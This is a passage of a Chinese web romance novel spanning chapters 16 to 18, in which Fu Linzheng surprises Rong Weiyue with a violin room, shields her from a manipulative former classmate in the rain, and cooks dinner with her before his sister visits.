她关上冰箱门看到呼呼趴在她脚边闷闷不乐。
她俯身摸了摸它敛睫:“是爸爸走了你不开心了吗?”
小团子呜哼了声下巴搭在地板。
接下来的两天她和傅蔺征处在失联阶段。
她白天去工作室晚上回来给自己和呼呼解决晚饭然后牵着它去楼下散步。
小家伙和她慢慢亲近但因为傅蔺征不在也没有往常那么活泼。
她不知道傅蔺征要去训练多久什么时候回来。
她没资格也不知道该怎么问。
冰箱里的水果和蛋糕慢慢被她消灭。
三天后的一个晚上她吃完饭想去练练小提琴却发现找不到了琴。
当初搬进来时琴和所有的琴谱都被她打包在一个箱子里连箱子也找不到了。
她在客厅找了圏都没找到。
犹豫许久她着急给傅蔺征发信息:【打扰了你有看到我的一个纸箱吗里面有我的小提琴。】
她继续找着五分钟后手机震动。
她立刻拿起来看到那头的信息:
【最靠近泳池那间。】
嗯?什么?
她疑惑走过去呼呼也扭着屁股跟在她旁边她看到一个房间门关闭着门上却插着一把钥匙。
容微月疑惑旋开钥匙推开打开灯往里看忽而愣住——
里头
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是个很温馨的房间。
屋内是浅暖的原木色调,灯光被柔光罩揉散,洒在地毯与书柜上,泛着柔和的奶黄色光晕。
窗外霓虹陷进夜色里,随着长灰色地毯往里铺,落地窗前摆着个沙发,上面放了条白绒绒的羊毛毯,书柜安静地立在墙边,她原先装在纸箱里的琴谱、音乐教材书籍整齐排放在上头,还有曾经她拿过关于小提琴的各样奖状和奖杯也像是被珍视般,摆在玻璃橱窗里。
呼呼跑进去在地毯上打滚,地毯上放着一把琴椅和谱架,旁边的架子上,摆着曾经傅蔺征给她的那把小提琴。
温柔的橙黄灯光映照而下。
琴上的那串英文熠熠生辉,如同黑夜中的月亮。
没想到这里面是这样的,容微月视线定格,脑中空白。
她愣住环视了圏,忍不住问傅蔺征:【这间是……】
两分钟后手机震动。
她拿起看到呆住,男人回来的信息,却还是像他那淡淡的语气:
【家里空了个房间,给你准备的琴房。】
〓作者有话说〓
[爆哭][爆哭]这章配合YangYang《我转身时最爱你》的歌食用更佳,这首歌真的好好听呜呜呜爆哭!唱得就是阿征
两个人都是小苦瓜,大家给月月一点时间,不要骂她[爆哭]她是个配得感很低的女孩,当初的阿征也做的不对,但是她感受到爱一定会坚定回应的~
这章是拉扯,放心,接下来开始回弹,甜上强度![撒花][撒花]
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第 17 章 “走了,我们回家。”...
第17章第十七章
【“走了我们回家。”】
chapter17
高三那年是傅蔺征一直陪她练着小提琴。
有段时间他们同桌有天物理课上她偷偷在看小提琴的琴谱书不小心掉到了桌下老师走过来她心慌之际傅蔺征率先把琴谱捡了起来。
物理老师是个严肃的中年地中海
物理老师知道他聪明对他又爱又头疼“都什么时候了你学小提琴?!”
男生一身白衬衫黑校裤穿得帅气招摇勾唇懒笑:“老师现在学校都要求学生德智体美劳全面发展您说我其他方面都那么优秀了还不得自学个乐器陶冶一下我的情操?我可不能成为一个有短板的人。”
全班都笑了物理老师用书本打了下他肩膀压下唇角:“给我站到下课!”
课堂继续容微月心跳怦怦抬头就见傅蔺征半靠着窗户懒洋洋抬眉看了一眼她眼皮上的黑痣在日光下挑起藏匿笑意。
下课后傅蔺征把她困在座位上:“乖乖女替你罚站了一节课你该怎么感激我啊?”
她愧疚道谢“我请你吃冰棒?”
“一根冰棒就想打发我啊?容微月你挺没良心。”
她脑中浮现他之前缠着她要做的事清冷的面色微红:“其他的不行……”
他笑“我想的是起码要三根冰棒你脑补到了什么?心思这么不单纯。”
“……”
放学傅蔺征揪她去了小卖部却是请她吃“看不出来你还会拉小提琴。”
容微月垂头:“小时候学的很少练了。”
看到她眼底转瞬即逝的难过他吊儿郎当的语气收了几分:“为什么没办法练。”
许是压抑太久她忍不住和人倾诉:“我爸说我现在只能认真准备艺考小提琴对我来说是不务正业的东西我如果在家里练被他知道了他会发火的。”
傅蔺征觉得可笑:“你爸对你还真是填鸭式教育连放松一下都不行了?”
容微月说她想参加一个市小提琴比赛过段时间就是校内选拔傅蔺征俯身看她:
“今晚我带你出来练琴怎么样?”
于是晚上八点多在家中卧室写作业的她收到傅蔺征的信息悄悄锁上门把小提琴先运给楼下的男生而后爬上窗户。
“敢跳么?”
他挑起眉眼看她。
容微月没带犹豫直接跳了下去。
她一身淡藕色长裙像枝杏仁奶糖玫瑰落进他怀中傅蔺征牢牢接住
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
她勾起唇角笑声陷进她耳蜗:
“乖宝宝你胆子这么大啊。”
她抓着他手臂心脏还怦怦跳:“其实我怕你接不住我就骨折了……”
傅蔺征摸摸她头低头看她:
“怎么可能我永远都接得住你。”
而后傅蔺征带她去到学校的艺术楼打开了一间琴房带她进去说学校琴房有限目前只能帮她争取到每天两个小时下次可以早晨来练。
“你的小提琴可以放我这里每天我陪你来。”
容微月懵然;“不用太麻烦你了……”
“麻烦什么老子乐意。”
傅蔺征把背着的琴递给她:“你安心练我在外面等着。”
傅蔺征走出去过了会儿一阵悠扬琴声传出他靠着栏杆往里看少女坐在琴架前肩膀架着小提琴黑发如瀑垂在身后细长的胳膊拉着琴弓侧脸带着清澈的柔意。
傅蔺征看着心脏怦然发热烧得喉间发痒。
他好想把她藏起来只有他看到可是她那么优秀秀就应该要站到耀眼的舞台上发光发热飞得更高。
后来容微月练完琴走出去看到他:“你就一直外外面吗?”
“昂听着这么好听的琴声我直接把卷子都刷完了。”
容微月耳根微红和他道谢:“希望长大以后我可以拥有一间属于我的琴房我不一定要成为个厉害的小提琴家只要我能拉琴我就很开心了。”
傅蔺征勾唇“知道了这还不容易。”
“什么容易?”
“以后我给你装个琴房陪着你练琴陪着你去比赛。”
她微愣冬夜寒风里傅蔺征给她围上围巾俯身温柔注视她:“容微月你以后想要什么都告诉我我都为你实现好不好?”
从小到大容承业都没有给她专门准备一间琴房她从来不和家里人讲她喜欢什么因为他们总是不同意。
可少年一双熠熠的眸倒映她说想替她实现所有的心愿。
明明是无比青涩的年纪明明他们都还没有未来可言可他的话炽热坚定仿佛说到了就一定能做到。
那时候容微月根本没敢把这句话当真。
可六年后他却兑现了他的承诺。
此刻看着房间容微月心脏如撒了把跳跳糖
良久后她在和他的对话框里删删减减不知道该说什么只能道谢。
容微月坐到椅子上翻开琴谱拿起琴紧张摩挲几下深呼吸了口慢慢拉起维瓦尔第的《四季》。
那件事后到现在六年她再也没参加任何小提琴比赛也没敢在外
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人面前拉过琴。
柔缓的琴声响起呼呼就趴在地毯上陪她。
练完琴她心情平静许多走到沙发上坐下窗外的霓虹灯火变换颜色她托腮看向脚边的呼呼轻声咕哝:“你爸爸什么时候整理的这儿我都不知道。”
呼呼舔舔她手容微月敛下眼帘:“他应该是刚好有空就帮我整理的吧但我还是很感动我感觉……我欠他越来越多了。”
她不知道该怎么还他了。
晚上睡觉前容微月坐在床边看月亮想到从前毕业傅蔺征问过她以后想要的房子是什么样的她靠在他怀中畅想道:
“我最喜欢海了长大以后我想要个海边别墅房间是蓝白色的像湛蓝的海浪一样后花园种着我喜欢的花冬天外面下着雪但是房间里有暖洋洋的壁炉还想要个玻璃琴房再养一只小狗晚上可以和你躺在沙发上看月亮听潮汐。”
这是她曾经的梦可是后来他们分手了她就再没想过。
这段时间他们重逢傅蔺征帮助了她很多无论是工作还是房子于情于理她都该好好感谢他一下。
第二天她和殷绿打电话把事情告诉了她殷绿震惊:“天哪傅蔺征也太好了吧你想要琴房的事他都记得!那你打算怎么感谢啊
殷绿坏笑容微月无奈嗔她殷绿正经道:“傅蔺征那样的富二代送车送房他都不稀罕虽然我们也送不起其实心意最重要他不是那么计较钱的人。”
容微月想了许久先是去了趟商场。
到了周末傅蔺征还是没有任何消息她犹豫再三主动给他发去消息:
【傅蔺征你什么时候回来?】
很快那头回复。
傅蔺征:【怎么了。】
容微月倒在沙发上努力措辞了半天:【我想感谢你这段时间的帮忙等你回来请你吃饭。】
训练场里一身黑色赛车服的男人从赛车上下来长腿迈步往场外走看到信息一把摘掉头盔眉眼沉下:【然后你要搬走?】
容微月:?
这是哪跟哪儿?
感觉他好像误会了她道:【没有就是单纯感谢你放心我租房合同签了不会违约的。】
傅蔺征回来信息:【大概下周四。】
容微月:【好。】
那头傅蔺征坐到座位上车队经理过来和他反馈数据男人喝完水把瓶子扔到垃圾桶淡淡开口:
“接下来两天把训练排满早点测完早点回去。”
“怎么了?这么着急?”
傅蔺征长腿交叠搁在茶几上悠然拨弄打火机:
“在这儿水土不
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服一分钟都待不下去了还是京市好。”
车队经理:……?
-
周末过去新的一周《霜雪吟》剧组已经把定金打来进入具体设计环节。
早晨她开车去往工作室可是却发现车辆的电池那边一直报警明明满电充电也正常但是一上路就掉电特别快。
容微月联系4S店对方让她把车开过去要等几天才有检测结果。
于是这几天她坐地铁上下班因为中途要换乘原本五分钟的通勤现在要花上半个小时虽然半小时也不多但如今由奢入俭难她还是觉得麻烦。
周三容微月画完寿桃贺礼设计打车下午去市中心参加一个手工艺品进口贸易会。
这是京市定期举办的一个贸易平台有许多外国工艺品品牌参展过去交流学习的同时
到门口容微月拍了一张贸易会的图发到朋友圈宣传进去室内她看到俄罗斯的漆画工艺和负责人交流尝试制作了下而后她说也带了花丝镶嵌的工具对方热情请她现场演示。
许多人围过来观看只见一个年轻女人一袭温柔的水蓝色苏式长裙面容温婉长发落腰如玉纤白的手掐着花丝。
最后容微月掐出个精致的同心结和漆画作品结合递给对方笑意嫣然用英文道:“祝你们平安如意事事顺遂漆画工艺很美也可以和我们的花丝镶嵌结合。”
现场掌声响起漆画厂的俄罗斯女老板笑着和她握手:“容小姐你可以给我张名片吗?希望我们有合作的机会。”
“当然可以。”
容微月递去名片还有几个外国展商也注意到她前来和她交谈。
一个下午容微月带来的一小沓名片都发完了。
也不知道合作能成几个但也算努力过了。
傍晚她正准备离开有人发来微信。
是学姐何薇:【微月我看到你朋友圈了你在兰心贸易会?你在哪儿啊我来找你我们好久没见了。】
因为租房的事情她和赵鑫闹得不愉快也不太想和何薇见面怕尴尬。
容微月揉了揉发痒的眼睛回道:【学姐我准备走了。】
何薇:【我专门来找你的都到了你在哪儿?】
对方追问容微月也不知道该如何拒绝只好说快走到A区大门口了。
何薇:【好那你在门口等我哈。】
容微月揉搓着眼睛右眼突然模糊低头一看隐形眼镜片掉在她手上。
完了戴不进去了……
眼前晕乎乎的她懊恼地在心底避雷这个新买的日抛犹豫过后直接摘掉另外一半的镜片。
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不晕了,但是彻底模糊了。
三百度的近视,看周围都看不清晰。
没带备用眼镜出门,她适应着慢慢往外走,外头下起了大雨,此刻博览会刚结束,许多车往外行驶,车水马龙拥堵,天色阴沉。
容微月站在雨幕前方,声音传来:“微月——”
她转头看到何薇熟悉的身影走到她面前,抱住了她,看到她懵然的眼神,笑笑:“怎么,你才多久没见就认不出来我了啊?”
“没有,我没戴眼镜……”
何薇一身红裙,明艳妖娆,把手里带的礼盒递给她:“喏,给你带了礼物。”
容微月看到是个昂贵的化妆品品牌,“学姐不用……”
何薇把礼物硬塞入她手里:“哎呀你收着,之前我表哥的事情对不住啊,我给你赔礼道歉。”
“没事,我和他的事已经解决了,他该赔的赔了,真的不用。”
“你过去了可我心里过不去啊,我一直觉得对不起你,让你受了委屈。”
容微月再度婉拒,何薇面露难色:“微月,你这样拒绝我,我都不好意思开口了,我其实找你吧,也是有事相求。”
容微月大概猜到了,“什么?”
何薇弯唇拉住她的手:“最近我很想争取一个和新安媒体合作的机会,可我没人脉,但是我查到明恒和新安是长期合作关系,我想着你不是认识明恒集团的太子爷吗,他和你的关系肯定挺好吧,
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帮我牵个线呗?”
何薇说着话,室外霏霏雨丝斜斜织在空气中,容微月听到阵引擎声,视线微偏,正好看到台阶下方,一辆蓝黑色超跑在路边停下。
朦胧水幕中,凌厉低矮的车身线条透着压抑的力量感,如蛰伏的猛兽,车门被打开,一道高大挺阔的身影从车里探出,执了一把全黑长伞,抬起眼,似乎往她这个方向看来。
雨雾虚化住了五官细节,却反而将轮廓显得更加清晰——宽肩窄腰,腿长逆天,像是从电影画面中走出来的定格画面。
容微月心跳微乱,只觉得像傅蔺征。
可今天才周二,怎么可能是他……
她疑惑出神间,何薇的声音把她抓回来:“能不能麻烦你帮我问一下傅总?只要他一个电话就能解决。”
容微月回过神,脸色淡了几分,道:“不好意思学姐,这个忙我没办法帮你,我和傅蔺征不是你想象的那种关系。”
何薇皱眉:“微月,我最近真的焦头烂额,如果这个合作我没谈下来,我就要卷铺盖走人了,你就帮我牵个线吧,六年的交情你怎么能见死不救呢?亏我当初把你当朋友。”
“所以六年的交情,你就把我介绍给你表哥那边租房子?你不知道他是
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什么样的人?”
何薇脸色微僵,容微月淡淡道:“我没办法帮你,我先走了。”
容微月要走,就被何薇拽住:“微月,房子的事我向你道歉,而且你不是什么损失都没造成吗?今晚我请你吃饭给你赔罪行吗?”
“我有约了。”她胡诌道。
“你有什么约啊?你给我站住……”
容微月还未甩开何薇的手,一道力把她往后拉,旋即一个冷拓高大的男人身影挡在她面前。
潮湿水汽搅动淡淡的蓝莓薄荷烟草气息逶迤在空气中,瞬间充斥鼻息。
傅蔺征看向何薇,冷倦的声线落下:
“她和我有约了,有问题?”
男人面容冷厉,如墨的眉眼棱角如雕刻般分明,气场冷若冰霜,难以接近。
容微月呆住,所以刚刚真是他……
何薇看到眼前的人,认了出来,激动:“是傅总吗?!久仰大名!”
她递来名片:“傅总您好,我叫何薇,来自晨曦影业……”
“何、薇——”傅蔺征喉间滚出这二字,忽而笑了:“给她介绍房子的大学学姐是吧?”
何薇点头,“是的,傅总,微月和您介绍过我,我们关系不错……”
傅蔺征扯唇:“我没听月月说过,但我揍过你表哥,你应该知道吧?”
何薇干笑,“傅总,那件事是……”
“介绍给她那么烂的房子,还想把她撮合给你四十几岁炒股欠了一屁股债的表哥?关系不错然后你领她进火坑?”
傅蔺征眼底沉愠看她:
“欺负完她还想找老子帮忙,谁给你的胆子?”
心思被戳破,何薇后背冒汗,傅蔺征潮汐尾戒随着把玩打火机的指节晃动,眉眼冷鸷:
“趁我没彻底发火之前,离她远点,再敢骚扰她你试试看。”
何薇知道容微月脾气好,就想利用她的同情心,谁知道傅蔺征如此凶。
傅蔺征是什么人物,她怎么敢惹,何薇脸色微颤,咬唇唇瓣:“我不打扰了,我先走了……”
她要走,容微月叫住:“学姐,你的东西。”
她把化妆品递去。
何薇拿过,立刻就跑了。
只剩下两人。
外头雨落如织,打在光滑的石阶上,绽放开一圈圈小花,来往行人踩着雨水穿梭而过,脚步急促,伞影重叠,像是一幅被雨雾罩住的水彩画。
容微月立在檐下,身上淡淡的青橘香被雨水润湿后浮在空气里,和面前男人身上的薄荷蓝莓气息糅合。
她耳边回荡着傅蔺征的话,心跳微乱,男人懒拽冷声落下:“跟这种人有什么可废话的?还聊半天。”
她软声道:“我想走来着,走不掉……”
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
“我就在台阶下,你看到我了不过来找我帮忙?”
她咕哝:“我隐形眼镜掉了,看不清你的脸。”
傅蔺征轻嗤:“脸没看清,我这无人可比的气质难道认不出来?”
“……”
容微月看着他,还有点懵:“你不是说要到周四才回来吗?”
他神色淡淡,“刚好没训练了。”
后面有个推车快速经过,喊了声“借过”,容微月正要回头看,腰肢被揽住带着前进一步,撞入傅蔺征的怀中。
傅蔺征一身黑色立领赛车服外套,个子极高,衣架子般的身材肌肉线条明显,到处都是邦邦硬,她身材纤瘦娇小,撞进他的胸膛,肩膀几乎只有他一半宽,高大的身影如将她笼罩在羽翼中。
水蓝色苏式长裙在风雨中微翩,贴上男人的工装裤,擦出火花,瓢泼大雨落进来,却被他的身影挡住。
像是曾经他拥抱她的每个瞬间。
容微月心脏踩空。
周围人来人往,仿佛都消了音。
傅蔺征凸峥的喉结滚动,手微松开,垂眼直直注视着几日未见的她,嗓音磁哑:
“所以,今晚有没有约?”
她愣了愣,反应过来:“没有……”
傅蔺征撑起伞,朝她倾斜而来,低沉悠然的声线如外头的雨,滴落在她心河:
“那走了,我们回家。”
〓作者有话说〓
呜呜呜回家!!!甜了甜了别打我[可怜]
大狗狗就是很好哄,不管什么时候他都会护着月月的[抱抱]
明天继续甜!
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宝宝们上章记得看,有红包包,这章200个随机,今晚零点继续见!啊啊啊我这爆更字数疯了![眼镜]
第 18 章 单手托着把她抱了起来...
第18章第十八章
【单手托着把她抱了起来】
chapter18
从前容微月最不喜欢听到“回家这两个词,家对她来说是压抑又沉闷的牢笼,只有打压的教育和尖锐的责骂,毕业后,她回北京是因为工作不得不做出的选择,但是她没坚持回家里住,宁愿自己在外面租房。
从前的出租屋对她来说没有归属感,而现在她和傅蔺征同住的地方对她来说也只是个别人的房子。
可傅蔺征此刻却说,我们回家。
那冰冷的房子好像带上了温度,仿佛这是……属于他们两个共同的家。
她的心像是被热风烘烤鼓起来的蛋挞皮,愣了愣,直至傅蔺征的慵懒嗓音再度把她思绪拽回来:
“出什么神,还不走?
容微月回过神,跟着他走进滂沱的雨幕中。
没戴眼镜,看一切都是模糊的,更何况是微暗的雨天,有点夜盲的她轻捏着裙摆,高跟鞋有点紧张得一节节踩下台阶。
她欲小心翼翼再往下走,忽而臀下横亘来一个强有力的力道,把她腾空一把托了起来。
傅蔺征单手撑伞,单手轻松抱起她,往下走,容微月吓得连忙攀住他肩膀,“傅蔺征……
她声音细软如小猫咪般,娇软落在他耳边,格外特别的青橘清甜扑面而来,是找遍市面也找不到的味道,身子也好软,跟没骨头似的。
她懵然脸红,“你放我下来……
傅蔺征心底燥火升起,偏开眼开口,嗓音沙哑:“你走那么慢,老子给你撑伞还得慢悠悠跟着,你当我是你保镖?
她指尖轻揪着他衣服,心跳如小鹿乱撞,红唇翕动却说不出话。
好吧她确实走得太慢了……
男人步履沉稳走下台阶,她几乎是坐在他一个手臂上,他却轻轻松松,力气好像比高中时还更大,赛车服下血脉贲起的肌肉透着爆棚的荷er蒙。
曾经高中时候,他就经常这么抱起她接吻。
有次男生训练完回来,赤着精壮的上半身,只穿着工装裤,把在客厅看电影的她单臂举起,抱着她直接埋进在房间里走动,跟蹦蹦床般,把她抛起又落下。
最后他胸膛全是汗,脖颈筋脉暴起,把她按在墙上吻着,沉沉呼吸喟叹:“宝宝,好shuang啊。
她紧紧挂在他怀中,娇呜轻噎,头顶的雨,和那天她下的雨一样,把他裤子弄洇了一大片。
容微月掐灭旖旎回忆,烧着耳根,一动不动被他抱着,傅蔺征声音传来:“你车停在哪儿。
“我打车来的,我自己的车坏了。
“哦。他语调慵懒。
容微月看
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到台阶下方的马路对面,闪烁着绿灯倒计时:15、14、13、12、11……
傅蔺征的跑车停在对面,她忍不住提醒:“绿灯快结束了……
傅蔺征抬头看了眼,步伐更慢悠悠。
最后走到马路边,还剩下三秒钟,他停下了。
?
容微月忍不住咕哝:“你怎么不走快点?刚刚明明能过的……
傅蔺征轻嗤:“我抱着你,我怎么走得快?
“……
他不是很轻松的吗?
对面的红灯一直亮着,容微月怕他累着,也害羞:“你先放我下来吧。
“没力气。
“……放她下来没力气,抱着她有力气?
傅蔺征低懒嗓音落来:“地面积水了没看到?高跟鞋不怕弄脏了?
这踩到地面,她的鞋就没了。
她咬唇只好应了声,雨珠砸在伞上砰砰作响,顺着伞骨滑落滴落在地砖上,溅起水花,被马路对面打过来的车灯映照得晶亮如碎金。
夜幕还未完全降临,天色带着朦胧的蓝灰,远处城市的灯光才刚刚亮起,如人间银河。
傅蔺征单手撑伞,往她这边倾,另一只手稳稳箍着她,半边外套早已被雨打湿,他身姿拓落挺拔,漆黑眉眼被车灯映出一层冷色温度,冷隽而帅气。
她如小猫靠在他怀里,微湿的发尾贴着脸颊,整个人几乎被他圈住,挡住风雨。
身后行人来去匆匆。
而他们却像被抽离出人潮,在另外的世界。
男人低磁嗓音再度落来:“冷不冷。
她轻摇摇头,“不冷……
终于路灯亮起,傅蔺征抱着她走去对面。
容微月看到那辆兰博基尼,车牌是独独代表他身份的0831系列,他把伞递给她,而后打开副驾驶的车门,把她抱了进去。
车里打着暖气,一片温暖。
傅蔺征上了驾驶座,把储物格的毛毯和毛巾拿出来,慵懒道:“擦了,等会儿感冒了还传染我。
她接过,“谢谢……
傅蔺征简单给自己擦了擦,启动车子。
引擎声响起,银黑色的兰博基尼如迅猛的丛林猛兽碾过水花,汇入主干道。
傅蔺征淡声问:“你车什么毛病。
“不懂,电源系统一直报警,送去4S店维修了。
他问了她4S店地址,红灯时点开微信:“我朋友认识这个店店长,我交代他尽快帮你处理一下。
见他已经发完信息,容微月只好感谢应下,“你刚刚怎么在这儿?
傅蔺征舌尖抵了抵腮,“刚好路过。
怎么这么刚好……
傅蔺征指尖轻敲方向盘,嗓音懒拽:“正好
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
给人接送回去某人还占到便宜了。”
“……”
容微月:“其实我可以自己坐地铁的。”
傅蔺征转眼凉凉看她容微月感觉自己或多或少有点忘恩负义了:“但是这便宜不占白不占所以……谢谢。”
傅蔺征轻嗤了声继续开车。
容微月不禁转头看他发现这人好像回到了爬山之前的状态心情挺好还是那么臭屁。
估计是这周训练还挺顺利吧。
她提起另外一个话题:“傅蔺征那你今晚有空吗我请你吃饭?”
“呦我以为某人都忘了。”
“怎么可能我记得的那你有空我就去定餐厅。”
“什么餐厅?”
“一家黑珍珠三钻我之前去过一次味道还不错。”她想着既然请客肯定要高级些不然他这样的公子哥也看不上。
然而傅蔺征却道:“容微月你能不能讲点诚意你感谢我然后就带我去外面吃别人做的饭?”
容微月:???
“你的意思是我回家做饭吗?但是我厨艺一般般……”
“你厨艺什么样我也不是没见识过反正吃是能吃。”
“……”
她试图为自己挽尊:“我现在厨艺是有进步的至少比从前进步了。”
从前高考后容微月在他公寓主动下过几次厨那时候她刚学做菜一板一眼跟着菜谱每次做饭跟打仗一样毫无天赋现在她偶尔自己煮点东西但都是简单的蒸或者炖更多时候还是点外卖。
傅蔺征见她有点心虚的样子扯起嘴角:“行啊那今晚就做做看呗。”
容微月揉了揉耳根说冰箱没菜了先在手机上下单“你有什么想吃的菜吗?你来点。”
他指节轻敲方向盘几秒后薄唇吐字:“就麻辣水煮鱼吧。”
容微月呆住。
这是当初她第一次给他做的菜也是自己最喜欢的当时鱼片买回来是切好的调料包也是现成的但是因为鱼片挂浆太厚导致一整碗都糊糊的可傅蔺征却说味道不错一整碗都消灭了。
没想到他会提这个。
她轻应了应又点了其他的一起下单。
回到小区傅蔺征问呼呼这几天怎么样容微月点头:“挺乖的就是真的很挑食
傅蔺征挑唇:“你现在知道它有多难养了吧我天天伺候它跟伺候大爷一样。”
“但平时还是很听话它现在允许我抱了我在家还会经常跟着我。”
走进电梯傅蔺征按了楼层吊儿郎当道:“你
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以为它是什么冷酷狗啊,现在和你越来越亲了,以后就缠着你不放了,到时候有你头疼的。
容微月提了提唇:“不头疼,它缠着我我就没那么孤单了。
过去这两年她独自生活,虽然身边有朋友,但大家都有各自忙碌的事,她每天从工作室回来都是面对空荡荡的房子。
孤独是她人生的常态,那种“被缠着的感觉从小到大她好像都没怎么感受过,除了……曾经的傅蔺征。
傅蔺征看到她脸上一闪而过的落寞,眼眸深了几分,懒声道:“放心,以后你都没机会感觉孤单。
她微怔,男人偏眼看向电梯门上反照出来的她,手插兜:“这家伙黏人得紧,天天换着花样让你和它玩,晚上睡觉不关门还会钻你被窝,而且还怪会提供情绪价值,你不高兴了,它一定会陪在你身边。
她酒窝浅弯,“那感觉更幸福了。
回到家,打开门,呼呼听到声音就哒哒哒跑了出来,激动地往傅蔺征腿上蹭,尾巴摇成螺旋桨。
容微月看了都羡慕,傅蔺征勾唇抱起它,“难得,第一次我不在家这么久,还知道想你爹。
傅蔺征把它放去客厅,洗了个手,看到茶几上插了一瓶淡紫色的小苍兰,厨房的餐桌布也换了块明净的杏白色,阳台还养起了几盆多肉。
容微月注意到他的目光,连忙解释:“餐桌布前几天我看有点脏了就换了新的,其他我又加了点装饰,你要觉得不好看就换了。
傅蔺征眼底化开几分柔意,靠着岛台,“还算凑合吧。
他伸手,“手机给我下。
“啊?要干什么?
他无奈,“我还能把你存款给偷了?
容微月一头雾水把手机递去,就看到他一步步操作着,成功后还给她:
“给你绑了张我的卡,不限额度,以后家里买什么刷这个,顺便你有空把一些家具翻新下,不需要问我,你自己定就好,反正我看腻了,刚好想换。
她呆住:“你……你不是说你缺钱吗?这样你每个月收的房租够花吗?
傅蔺征还挺理所当然:“该省省该花花,生活幸福感不是第一位?
“……
容微月走去倒水,故作随意道:“我以为你经济困难,没想到你花那么多钱买这房子,现在又租出去。
傅蔺征对上她目光,喉结滑动了下,几秒后轻飘飘道:“就是买了这房子经济才困难的,所以出租一下回个血,有问题?
好吧,那可能真的是她想多了。
容微月想到一事,连忙去了趟卧室,出来手里拿着一个礼盒:“傅蔺征,这个送给你,感谢你照顾我工作室的生意,又帮我
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找赵鑫要回了我的钱现在还免了我水电费让我住在这里我一直欠你一句正式的道谢。”
容微月拿着盒子看向他的琥珀水眸在灯光下轻闪傅蔺征怔了怔接过
“嗯经济有限就是一点小心意。”
傅蔺征看到盒子上印着个意大利顶奢品牌的logo打开后一条简约帅气的银色古巴链静静躺在里面泛着锐利的冷光。
她不知道他缺什么那天逛了大半个商场都没挑到中意的礼物后来看到这个项链一眼中意二话不说买了觉得挺符合傅蔺征的气质:
“我看你有戴项链但是不知道你喜欢什么吊坠你可以自己搭配。”
傅蔺征黑眸滑过道情绪吊儿郎当收起来:“谢了还挺好看。”
他把礼物拿回了房间门铃声响起容微月去开门把送来的菜拿进来戴上眼镜和围裙:“今晚我煮个水煮鱼椒盐小排还有清蒸下这个。”
傅蔺征看到她拿出一只松叶蟹眉头微拧:“买海鲜干什么你不是过敏?”
她记得从前他唯一爱吃的是这个松叶蟹“你不是会吃吗?”
傅蔺征把松叶蟹接过怕她手夹到“海鲜嘌呤高不知道?以后就买你爱吃的我口味也差不多。”
说完他又道:“算了你别买了以后家里我来买菜。”
“噢……好。”
这人是怕她买的菜不和他的胃口吧。
容微月去洗鱼片一边拿出手机搜索着傅蔺征给呼呼喂了晚饭走过来看到她拿着手机一通钻研慵懒揶揄:‘我现在厨艺是有进步的至少比从前进步了’。”
这不是和从前一样抱着个菜谱都能看半天。
容微月放下手机尴尬“好久没做这道菜了我温故而知新下。”
“你温故而知新完我今晚十二点还能吃得上饭?”
他懒声说有空帮她一把俩人按照调料包把水煮鱼煮了倒还算简单而后傅蔺征去搜索松叶蟹处理的步骤容微月不敢相信他厨艺:“你能行吗?”
傅蔺征转眼看她“我什么时候不行了?”
这话莫名引人遐想容微月揉了揉耳根走开。
傅蔺征把松叶蟹勉强处理完送进蒸箱这时门铃响起他不明是谁走去打开门一个女人探头出现温柔弯起梨涡:“哥晚上好呀。”
女人一身复古长裙戴着帽子此刻摘掉墨镜走廊微暗的灯也掩盖不住一张极为漂亮精致的脸蛋眉眼清丽耳垂的红痣点缀珍珠气质清柔如水。
看到她傅蔺征眉梢抬起:“怎么来了?”
“我今天提前收工了就溜出来
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看看你。”
傅蔺征让她进来无奈帮她摘帽子:“你能不穿得跟小偷似的么?”
“现在狗仔很多啊我不得保护好自己?”
霓音走进去呼呼看到她激动地摇尾巴她含笑抱起来:“呼呼好久不见啊。”
她抱着呼呼走进去“好香啊什么味道哥你不会在做饭吧?就你这八百年不下厨房的人还会做饭?”
她话音未落就看到站在中岛台前的女人眼睛亮起:“微月姐?”
容微月刚刚就听到了声音还没反应过来此刻耳根微热:“嗨音音……”
霓音是傅蔺征小四岁的亲妹妹兄妹俩一个跟父亲姓一个跟母亲姓高中时霓音从南方回来京市跳级读高中所以容微月高三时霓音高一。
当初她们关系挺好但是后来和傅蔺征分手她也没好意思再联系霓音。
在她眼里霓音是个特别温柔可爱的妹妹如今长大了比电视上看到的更加漂亮纤瘦不得不说这兄妹俩颜值都是天花板。
霓音放下呼呼笑着走过来“微月姐原来你住在我哥家啊?!棠棠还和我说我哥家里有惊喜死活不告诉我是什么非叫我自己过来看看原来他是金屋藏娇呀。”
容微月忙摆手“我们就是合住关系……”
霓音了然点头:“我哥这人脾气最差了还很挑三拣四之前可从来没找过室友呢真难得微月姐你可是第一个呢。”
容微月心间泛起波澜傅蔺征走过来把一双拖鞋扔到地上“穿鞋你话怎么那么多。”
霓音淡笑穿好鞋扫向厨房
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容微月忙说今晚煮的菜很多让她留下来吃饭霓音眼巴巴看向傅蔺征“哥那可以吗?”
“……”傅蔺征气笑“我是赶你走了?”
那她不是怕打扰哥哥嫂嫂的二人世界嘛。
容微月先给霓音装了点水煮鱼霓音尝后点头如捣蒜:“这一看就是微月姐做的色香味俱全我哥能不炸厨房就好了。”
傅蔺征:“你以为我和你一样?”
“我好歹一年下一次厨房你呢?”
“对啊所以你一年炸一次我没下就没炸过有问题么?”
“……”
容微月笑发现他俩还是一如既往幼稚:“你们聊我去做排骨。”
她给排骨裹好粉傅蔺征走过来“我来炸。”
“没事你去陪你妹妹。”
“她是小孩子还需要陪?”傅蔺征接过排骨“往后站点等会儿油蹦到身上了别哭。”
她乖乖往后站本来说好的她做菜最后倒是傅蔺征亲自来。
听说看这本书的人都是很幸运的,分享后你的运气会更棒
最后松叶蟹也蒸好,菜端上桌,三人坐到餐桌前,霓音尝了说另外两道味道很好,唯独这黑黑的排骨炸得不咋地,傅蔺征轻嗤:“你还点评上我了?你炸都不敢炸。”
“我又不需要敢,以后我找个会做饭的老公就行,但是哥你这样不会做饭的找不到老婆哦,你一点竞争优势都没有,”霓音含笑看向容微月,“微月姐,咱们女孩子还是要找个会做饭的,你看你都这么瘦了,要嫁给不会煮饭的怎么办啊。”
容微月淡笑轻应了声,傅蔺征脸黑,“我记得宋詹也不会做饭吧?那你还那么喜欢?”
宋詹是霓音的现男友,霓音脸上笑意少了几分,咕哝:“那是他挺忙的。”
“怎么,你俩忙到一年见一次?”
